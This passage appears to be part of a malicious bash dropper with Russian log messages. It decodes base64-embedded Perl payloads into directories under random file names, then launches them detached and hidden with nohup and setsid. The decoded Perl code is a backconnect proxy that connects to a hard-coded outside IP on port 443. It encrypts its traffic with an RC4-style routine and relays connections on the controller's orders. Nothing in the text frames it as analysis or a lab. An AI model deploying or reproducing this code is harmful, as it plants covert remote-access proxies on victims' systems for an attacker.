CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #4 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #4 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 5 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNjMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl 